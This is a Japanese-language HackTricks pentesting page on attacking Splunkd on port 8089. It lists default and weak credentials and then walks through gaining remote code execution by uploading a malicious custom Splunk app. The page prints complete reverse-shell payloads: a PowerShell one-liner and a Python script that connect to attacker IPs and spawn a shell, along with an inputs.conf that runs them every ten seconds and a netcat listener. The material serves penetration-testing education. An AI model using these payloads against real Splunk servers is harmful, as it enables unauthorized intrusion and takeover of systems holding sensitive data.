hacktricks/network-services-pentesting/8089-splunkd.md

10 KiB
Raw Blame History

8089 - Pentesting Splunkd

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

基本情報

Splunkは、データの収集、分析、可視化において重要な役割を果たすログ分析ツールです。その初期の目的はSIEMセキュリティ情報およびイベント管理ツールとして機能することではありませんでしたが、セキュリティ監視ビジネス分析の分野で人気を博しています。

Splunkのデプロイメントは、機密データを保存するために頻繁に利用され、システムを侵害することに成功した場合、潜在的な攻撃者にとって貴重な情報源となる可能性があります。デフォルトポート: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Splunkウェブサーバーはデフォルトでポート8000で実行されます。 {% endhint %}

列挙

無料版

Splunk Enterpriseのトライアルは60日後に無料版に変わります。この無料版は認証を必要としません。システム管理者がSplunkのトライアルをインストールしてテストすることは珍しくなく、その後忘れ去られることがあります。これにより、認証のない無料版に自動的に変わり、環境にセキュリティホールが生じます。一部の組織は予算の制約から無料版を選択することがありますが、ユーザー/ロール管理がないことの影響を十分に理解していません。

デフォルトの資格情報

古いバージョンのSplunkでは、デフォルトの資格情報は**admin:changeme**であり、ログインページに便利に表示されています。
しかし、最新のSplunkのバージョンでは、インストールプロセス中に資格情報が設定されます。デフォルトの資格情報が機能しない場合は、adminWelcomeWelcome1Password123などの一般的な弱いパスワードを確認する価値があります。

情報の取得

Splunkにログインすると、データをブラウズしたり、レポートを実行したり、ダッシュボードを作成したり、Splunkbaseライブラリからアプリケーションをインストールしたり、カスタムアプリケーションをインストールしたりできます。
また、コードを実行することもできますSplunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、コードを実行するための複数の方法があります。Splunkサーバーでリモートコード実行を得る一般的な方法は、スクリプト入力を使用することです。

さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。

Shodan

  • Splunk build

RCE

カスタムアプリケーションの作成

カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。
SplunkにはPythonがインストールされているため、WindowsシステムでもPythonコードを実行できます。

こちらのSplunkパッケージを使用して支援できます。このリポジトリの**bin**ディレクトリには、PythonPowerShellの例があります。これをステップバイステップで進めていきましょう。

これを達成するために、まず次のディレクトリ構造を使用してカスタムSplunkアプリケーションを作成する必要があります

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin ディレクトリには、私たちが実行することを意図した スクリプト(この場合、PowerShell リバースシェル)が含まれ、デフォルトのディレクトリには inputs.conf ファイルがあります。私たちのリバースシェルは PowerShell ワンライナー になります:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

inputs.conf ファイルは、Splunk に どのスクリプトを実行するか およびその他の条件を指示します。ここでは、アプリを有効に設定し、Splunk にスクリプトを 10 秒ごとに実行するよう指示します。間隔は常に秒単位であり、この設定が存在する場合にのみ入力(スクリプト)が実行されます。

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

.batファイルが必要で、これはアプリケーションがデプロイされるときに実行され、PowerShellのワンライナーを実行します。

次のステップは、Install app from fileを選択し、アプリケーションをアップロードすることです。

悪意のあるカスタムアプリをアップロードする前に、Netcatまたはsocatを使用してリスナーを開始しましょう。

sudo nc -lnvp 443

listening on [any] 443 ...

Upload appページで、ブラウズをクリックし、以前に作成したtarballを選択してUploadをクリックします。アプリケーションをアップロードするとすぐに、アプリケーションのステータスが自動的にEnabledに切り替わるため、リバースシェルが受信されます

Linux

Linuxホストを扱っている場合、カスタム悪意のあるアプリをtarballとして作成してアップロードする前に、rev.py Pythonスクリプトを編集する必要があります。残りのプロセスは同じで、Netcatリスナーでリバースシェル接続を取得し、すぐに進むことができます。

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

以下のページでは、このサービスが特権を昇格させ、持続性を得るためにどのように悪用されるかの説明を見つけることができます:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

References

{% hint style="success" %} AWSハッキングを学び、練習するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、練習するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}